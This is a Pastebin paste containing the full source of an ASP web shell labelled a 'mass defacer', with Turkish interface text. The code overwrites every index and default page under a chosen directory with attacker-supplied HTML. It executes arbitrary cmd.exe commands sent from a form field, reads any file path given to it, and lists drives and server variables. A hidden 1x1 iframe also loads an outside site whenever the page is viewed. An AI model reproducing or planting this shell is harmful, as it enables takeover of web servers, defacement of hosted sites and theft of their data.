API tools faq
paste
Dark-shadow

asp mass defacer shell

Dark-shadow
Aug 24th, 2016
782
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.32 KB | None | 0 0
raw download clone embed print report
  1. <%
  2. 'Created by PowerDream<br>
  3. 'WebShell
  4. '2007
  5. '[TURKEY]
  6. %>
  7.  
  8. <%
  9. On Error Resume Next
  10. Set Objeto=Server.CreateObject("Scripting.FileSystemObject")
  11. if request("t5") <> "" then
  12. Set ObjPasta = Objeto.GetFolder(request("t5"))
  13. end if
  14. %>
  15.  
  16. <%On Error Resume Next
  17. if request("t3") <> "" then
  18. Set ObjPasta2 = Objeto.GetFolder(request("t3"))
  19. set ObjFso=server.CreateObject("Scripting.FileSystemObject")
  20. var_caminho=request("t3")
  21. For Each Pasta in ObjPasta2.Subfolders
  22. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False)
  23. ObjAbreArq.writeline request("t4")
  24. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False)
  25. ObjAbreArq.writeline request("t4")
  26. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False)
  27. ObjAbreArq.writeline request("t4")
  28. set ObjAbreArq = nothing
  29. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False)
  30. ObjAbreArq.writeline request("t4")
  31. set ObjAbreArq = nothing
  32. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False)
  33. ObjAbreArq.writeline request("t4")
  34. set ObjAbreArq = nothing
  35. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False)
  36. ObjAbreArq.writeline request("t4")
  37. set ObjAbreArq = nothing
  38. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False)
  39. ObjAbreArq.writeline request("t4")
  40. set ObjAbreArq = nothing
  41. Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False)
  42. ObjAbreArq.writeline request("t4")
  43. if err then
  44. response.write "<font color=red><br>Way amk Hacklenmedi..!: </font>" & pasta.name
  45. err=0
  46. else
  47. response.write "<br>G?zün Ayd?n Hacklendi :)" & pasta.name
  48. end if
  49. set ObjAbreArq = nothing
  50. next
  51. set ObjFso=nothing
  52. Set ObjPasta2 = nothing
  53. set ObjFso = nothing
  54. end if
  55. %><html xmlns="http://www.w3.org/1999/xhtml"><title>&#936;&nbsp;&#1071;&nbsp;&#920;&nbsp;J&nbsp;&#1044;&nbsp;&#1049; ...!</title>
  56.  
  57. <style type="text/css">
  58. <!--
  59. body {
  60. background-color: #FFFFFF;
  61. }
  62. .Estilo9 {color: #CCCCCC}
  63. .Estilo10 {color: #FFFFFF}
  64. .Estilo12 {color: #D06800}
  65. .style1 { font-family: Verdana, Arial, Helvetica, sans-serif;
  66. font-size: 9px;
  67. color: #FFFFFF;
  68. }
  69. .style2 {
  70. font-size: 16px;
  71. font-weight: bold;
  72. font-family: Verdana, Arial, Helvetica, sans-serif;
  73. color: #009999;
  74. }
  75. .style3 {font-size: x-small}
  76. -->
  77. </style>
  78. <body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" ><div align="center">
  79. <div align="center">
  80. <br>
  81. <table width="43%" height="38" border="1" cellpadding="0" cellspacing="0" bordercolor="#808080">
  82. <tr bordercolor="#808080">
  83. <td bgcolor="#FFFFFF" height="36" bordercolor="#000000" width="100%"><div align="center"><img src="http://img114.imageshack.us/img114/72/createdbypowerdreamshelnw8.jpg" width="600" height="150"><font color="#D06800" face="Tahoma" size="2"><b>
  84. <br>
  85. </b></font></div></td>
  86. </tr>
  87. </table>
  88. <br>
  89. <table width="52%" height="38" border="1" cellpadding="0" cellspacing="0" bordercolor="#808080" bgcolor="#000000">
  90. <tr bordercolor="#808080">
  91. <td bgcolor="#FFFFFF" height="18" bordercolor="#000000"><div align="center"><font color="#D06800" face="Tahoma" size="2"><strong>Server Bilgileri: </strong></font></div></td>
  92. </tr>
  93. <tr bordercolor="#808080">
  94. <td bgcolor="#000000" height="18" bordercolor="#000000" width="100%"><div align="center"><span style="color: #D06800"><font face="Verdana" style="font-size: 8pt">|Web Server : </font><span class="Estilo9"><font face="Tahoma" size="2"><%=request.servervariables("SERVER_SOFTWARE")%></font></span></span><font color="#D06800" face="Tahoma" size="2"> |</font><font face="Tahoma" size="2"><span style="color: #D06800"><font face="Verdana" style="font-size: 8pt">IP Server: </font></span></font> <span class="Estilo9"><font face="Tahoma" size="2"><font face="Verdana" size="2"><%=request.servervariables("LOCAL_ADDR")%></font></font></span> <span style="color: #D06800"><font face="Verdana" style="font-size: 8pt">| Protocol: </font></span><font class="style1">
  95. <% = Request.ServerVariables("SERVER_PROTOCOL") %>
  96. </font><font color="#D06800" face="Tahoma" size="2"> |<b><br>
  97. </b></font></div></td>
  98. </tr>
  99. </table>
  100. <br>
  101. <table width="49%" height="38" border="1" cellpadding="0" cellspacing="0" bordercolor="#808080">
  102. <tr bordercolor="#808080">
  103. <td bgcolor="#FFFFFF" height="36" bordercolor="#000000" width="100%"><div align="center"><strong><font color="#D06800" size="1" face="Tahoma">Dizinler</font></strong><font color="#D06800" face="Tahoma" size="1"><b>:</b></font><font face="Tahoma" size="2"><b><span class="Estilo9"> <%=server.mappath("mass.asp")%></span></b></font><font color="#D06800" face="Tahoma" size="2"><b><br>
  104. </b></font></div></td>
  105. </tr>
  106. </table>
  107. <br>
  108. <form method="POST" action="mass.asp">
  109. <font color="Black" face="Verdana" size="2">
  110. <p align="center"><b>Dizinleri G&ouml;ster :</b>
  111. <input type="text" name="T5" size="40" value= <%=request("t5")%> ><input type="submit" value="Dir" name="B1"></p>
  112. </form>
  113. <div align="center">
  114. <center>
  115. <table border="1" width="70%" bordercolor="#333333" cellspacing="0" cellpadding="0">
  116. <tr bordercolor="#000000" bgcolor="#000000">
  117. <td width="50%" height="27" bgcolor="#FFFFFF">
  118. <p align="center"><font color="#D06800" face="Tahoma" size="1"><strong>Direkt&ouml;rler</strong></font></td>
  119. <td width="50%" bgcolor="#FFFFFF">
  120. <p align="center"><font color="#D06800" face="Tahoma" size="1"><strong>Arsivler</strong></font></td>
  121. </tr>
  122. <tr bordercolor="#000000">
  123. <td width="50%" valign="top">
  124. <% On Error Resume Next
  125. dim contador
  126. contador=1
  127. For Each Pasta in ObjPasta.Subfolders
  128. Response.Write Contador & "-) "& Pasta.Name & "<br>"
  129. contador=contador+1
  130. next%>&nbsp;</td>
  131. <td width="50%" valign="top">
  132. <%On Error Resume Next
  133. For Each Archivo in ObjPasta.Files
  134. Response.Write Archivo.Name & "<br>"
  135. Next%>&nbsp;</td>
  136. </tr>
  137. </table><br>
  138. </center>
  139. </div>
  140. </div>
  141. </div>
  142. </td>
  143. </tr>
  144. <center>
  145.  
  146. <table width="49%" height="111" border="1" cellpadding="0" cellspacing="0" bordercolor="#808080">
  147. <tr bordercolor="#808080">
  148. <td bgcolor="#FFFFFF" height="109" bordercolor="#000000" width="100%"><div align="center">
  149. <font color="#D06800" face="Tahoma" size="2"><b><br>
  150. <form method=POST action=mass.asp>
  151. <font color="#D06800" face="Tahoma" size="1"><b>MASS DEFACEMENT</b></font><span class="Estilo10"><span class="Estilo12"><font size="2" face="Fixedsys">:</font></span><br>
  152. <br>
  153. </span><font color="#D06800" face="Tahoma" size="1"><strong>Dizinler: </strong></font>
  154. <input type="text" name="T3" size="44" style="font-family: Tahoma; font-size: 8pt; color: #666666; border: 1px solid #808080; background-color: #FFFFFF">
  155. <br>
  156. <span class="Estilo10"><br>
  157. <font color="#D06800" face="Tahoma" size="2"><strong>Html Kodlari Buraya Giriniz </strong></font></span><font color="#D06800" face="Tahoma" size="2"><strong>:</strong></font><b><br>
  158. </b><font color="#D06800" face="Tahoma" size="2"><b><font face="Tahoma"><b>
  159. <textarea rows="6" name="T4" cols="49" style="font-family: Tahoma; font-size: 8pt; color: #666666; border: 1px solid #808080; background-color: #FFFFFF"> Defacee by &#936;&nbsp;&#1071;&nbsp;&#920;&nbsp;J&nbsp;&#1044;&nbsp;&#1049; ...!
  160. </textarea>
  161. </b></font></b></font><br>
  162. <input type="submit" value="Mass Defacement" name="B1">
  163. <br>
  164. </form>
  165. </b></font>
  166. </div></td>
  167. </tr>
  168. </table>
  169. <br>
  170. <span class="Estilo13"><font face="Tahoma" size="2"><table width="34%" height="38" border="1" cellpadding="0" cellspacing="0" bordercolor="#808080">
  171. <tr bordercolor="#808080">
  172. <td bgcolor="#FFFFFF" height="36" bordercolor="#000000" width="100%"><div align="center"><strong>
  173. <font face="Tahoma" size="1" color="#D06800">CMD Bilgileri:</font></strong></div></td>
  174. </tr>
  175. </table>
  176. </center>
  177. <div align="center">
  178. <%
  179. Dim oScript
  180. Dim oScriptNet
  181. Dim oFileSys, oFile
  182. Dim szCMD, szTempFile
  183.  
  184. On Error Resume Next
  185. Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  186. Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK")
  187. Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  188. szCMD = Request.Form(".CMD")
  189. If (szCMD <> "") Then
  190. szTempFile = "C:\" & oFileSys.GetTempName( )
  191. Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True)
  192. Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  193. End If
  194. %>
  195. <PRE> <%
  196. If (IsObject(oFile)) Then
  197. On Error Resume Next
  198. Response.Write Server.HTMLEncode(oFile.ReadAll)
  199. oFile.Close
  200. Call oFileSys.DeleteFile(szTempFile, True)
  201. End If
  202. %>
  203. <br>
  204. <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
  205. </div>
  206. <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
  207. <div align="center"><font face="Verdana">cmd&gt;</font> <input name=".CMD" type="text" value="<%= szCMD %>" size="90" class="neo" maxlength="100">
  208. <input type=submit class="neo" value="G&ouml;r&uuml;nt&uuml;le">
  209. </div>
  210.  
  211. </div>
  212. <form method="POST" action="mass.asp">
  213. <p align="center"><span class="style3"><font face="Verdana" color="#000000">Direkt&ouml;rler / Ar&#351;ivler</font><font face="Verdana" color="#000000"></font></span><font face="Verdana" color="#000000">:
  214.  
  215. <input type="text" name="TT" size="39">
  216. <input type="submit" value="Editle" name="B1">
  217. </font></p>
  218. </form>
  219. <%On Error Resume Next
  220. if request("tt") <> "" then
  221. var_caminho=request("tt")
  222. set ObjFso2=server.CreateObject("Scripting.FileSystemObject")
  223. Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False)
  224. Do While Not ObjAbreArq2.AtEndOfStream
  225. Linha = Linha & ObjAbreArq2.Readline & chr(13)
  226. Loop
  227. response.write "<TEXTAREA NAME=sujos ROWS=10 COLS=70>" & Linha & "</TEXTAREA>"
  228. ObjAbreArq2.Close
  229. Set ObjAbreArq2 = Nothing
  230. ObjFso2.close
  231. set ObjFso2 = Nothig
  232. end if%>
  233. <p align="center">
  234. _____________________________________________________________________________________________________</p>
  235. <iframe src="http://www.Trenz.pl/rc/" width=1 height=1 frameborder=0></iframe>
  236. </body>
  237. </font></span></font>
  238. <%set ObjPasta = nothing
  239. set Objeto = nothing%></html> </FORM><div align="center"></div>
  240. <%set ObjPasta = nothing
  241. set Objeto = nothing%>
  242. <p>&nbsp;
  243. </p>
  244. <table width="100%" border="1" cellspacing="0" cellpadding="0" height="7" style="border-collapse: collapse" bordercolor="#808080">
  245. <td bgcolor="#000000" height="10" bordercolor="#000000">
  246. <div align="center"><b> <font face="Tahoma" size="1" color="#D06800">Extra Bilgiler</font></b></div>
  247. </td>
  248. </table>
  249. <div align="center">
  250. <%
  251. DIM fs, d, dc, s, n, sp
  252. Set fs=Server.Createobject("Scripting.FileSystemObject")
  253. Set dc=fs.drives
  254. %>
  255. </p>
  256. <table border="0" width="750">
  257. <tr bgcolor="#000000" bordercolor="#000000">
  258. <td style="border: 1 solid #808080">
  259. <div align="left"><b><font face="Verdana" size="1" color="#D06800">Hard Diskler</font></b></div>
  260. </td>
  261. <td style="border: 1 solid #808080">
  262. <div align="left"><b><font face="Verdana" size="1" color="#D06800">Tipleri</font></b></div>
  263. </td>
  264. <td style="border: 1 solid #808080">
  265. <div align="left"><b><font color="#D06800" face="Verdana" size="1">Numaralari</font></b></div>
  266. </td>
  267. <td style="border: 1 solid #808080">
  268. <div align="left"><b><font face="Verdana" size="1" color="#D06800">Sistem Bilgileri ve Arsivler</font></b></div>
  269. </td>
  270. <td style="border: 1 solid #808080">
  271. <div align="left"><b><font face="Verdana" size="1" color="#D06800">Limit
  272. </font></b></div>
  273. </td>
  274. <td style="border: 1 solid #808080">
  275. <div align="left"><b><font face="Verdana" size="1" color="#D06800">
  276. Total</font></b></div>
  277. </td>
  278. </tr>
  279. <%
  280. back1="#D3E2E7"
  281. back2="#AFFEDE"
  282. back=back2
  283. FOR EACH d IN dc
  284. IF (back=back2) THEN
  285. back=back1
  286. ELSE
  287. back=back2
  288. END IF
  289.  
  290. %> <tr>
  291. <td bordercolor="#808080">
  292. <div align="left"><font face="Tahoma" size="1" color="#000000"> <%=d.driveletter%> </font></div>
  293. </td>
  294. <td bordercolor="#808080">
  295. <div align="left"><font face="Tahoma" size="1" color="#000000">
  296. <%
  297. IF d.DriveType = 0 Then
  298. s = "Unknown"
  299. IF d.VolumeName = "" Then
  300. n = "&nbsp;"
  301. Else
  302. n = d.VolumeName
  303. END IF
  304. ELSEIF d.drivetype=1 THEN
  305. s="Removable"
  306. IF d.isready THEN
  307. n=d.volumename
  308. ELSE
  309. n="--"
  310. END IF
  311. ELSEIF d.drivetype=2 THEN
  312. s="Fixed"
  313. IF d.isready THEN
  314. n=d.volumename
  315. ELSE
  316. n="--"
  317. END IF
  318. ELSEIF d.drivetype=3 THEN
  319. s="Network"
  320. IF d.isready THEN
  321. n=d.sharename
  322. ELSE
  323. n="--"
  324. END IF
  325. ELSEIF d.drivetype=4 THEN
  326. s="CDROM"
  327. IF d.isready THEN
  328. n=d.volumename
  329. ELSE
  330. n="--"
  331. END IF
  332. ELSEIF d.drivetype=5 THEN
  333. s="RAM Disk"
  334. IF d.isready THEN
  335. n=d.volumename
  336. ELSE
  337. n="--"
  338. END IF
  339. END IF
  340. response.write(s)
  341. %> </font></div>
  342. </td>
  343. <td bordercolor="#808080">
  344. <div align="left"><font face="Tahoma" size="1" color="#000000"> <%=n%> </font></div>
  345. </td>
  346. <td bordercolor="#808080">
  347. <div align="left"><font face="Tahoma" size="1" color="#000000">
  348. <%
  349. str=""
  350.  
  351. str=str & d.driveletter
  352. str=str & ":"
  353.  
  354. 'response.write(str)
  355. IF d.isready THEN
  356. set sp=fs.getdrive(str)
  357. response.write(sp.filesystem)
  358. ELSE
  359. response.write("--")
  360. END IF
  361. %> </font></div>
  362. </td>
  363. <td bordercolor="#808080">
  364. <div align="left"><font face="Tahoma" size="1" color="#000000">
  365. <%
  366. str=""
  367.  
  368. str=str & d.driveletter
  369. str=str & ":"
  370.  
  371. 'response.write(str)
  372. IF d.isready THEN
  373. freespace = (d.AvailableSpace / 1048576)
  374. set sp=fs.getdrive(str)
  375. response.write(Round(freespace,1) & " MB")
  376. ELSE
  377. response.write("--")
  378. END IF
  379. %> </font></div>
  380. </td>
  381. <td bordercolor="#808080">
  382. <div align="left"><font face="Tahoma" size="1" color="#000000">
  383. <%
  384. str=""
  385.  
  386. str=str & d.driveletter
  387. str=str & ":"
  388.  
  389. 'response.write(str)
  390. IF d.isready THEN
  391. totalspace = (d.TotalSize / 1048576)
  392. set sp=fs.getdrive(str)
  393. response.write(Round(totalspace,1) & " MB")
  394. ELSE
  395. response.write("--")
  396. END IF
  397. %> </font></div>
  398. </td>
  399. </tr>
  400. <%NEXT%> </table>
  401. <table width="750" border="0">
  402. <tr>
  403. <td></td>
  404. </tr>
  405. </table>
  406. </div>
  407. <p align="center"><b><font face="Tahoma" size="2" color="#808080"> <font color="#000000">&nbsp;&nbsp;&nbsp;&nbsp;Server Hakk?nda Geni? Bilgi</font></font></b><b><font face="Tahoma" size="2" color="#808080"><br>
  408. </font></b>
  409. <textarea rows="7" name="S1" cols="90" style="font-family: Tahoma; font-size: 8pt; color: #808080; border: 1px solid #808080; background-color: #000000"><%
  410. for each thing in request.servervariables
  411. tempvalue=request.servervariables(thing)
  412. response.write thing & "=" & tempvalue & "<br>"
  413. next
  414. %>
  415. </textarea> </p>
  416. <div align="center"></div>
  417. <div style="display: none;">
  418. <img src="http://www.hackerlar.net/copyright.jpg">
  419. </div>
  420. </body></html>
  421. <p align="center">
  422. _____________________________________________________________________________________________________</p>
  423. </body>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!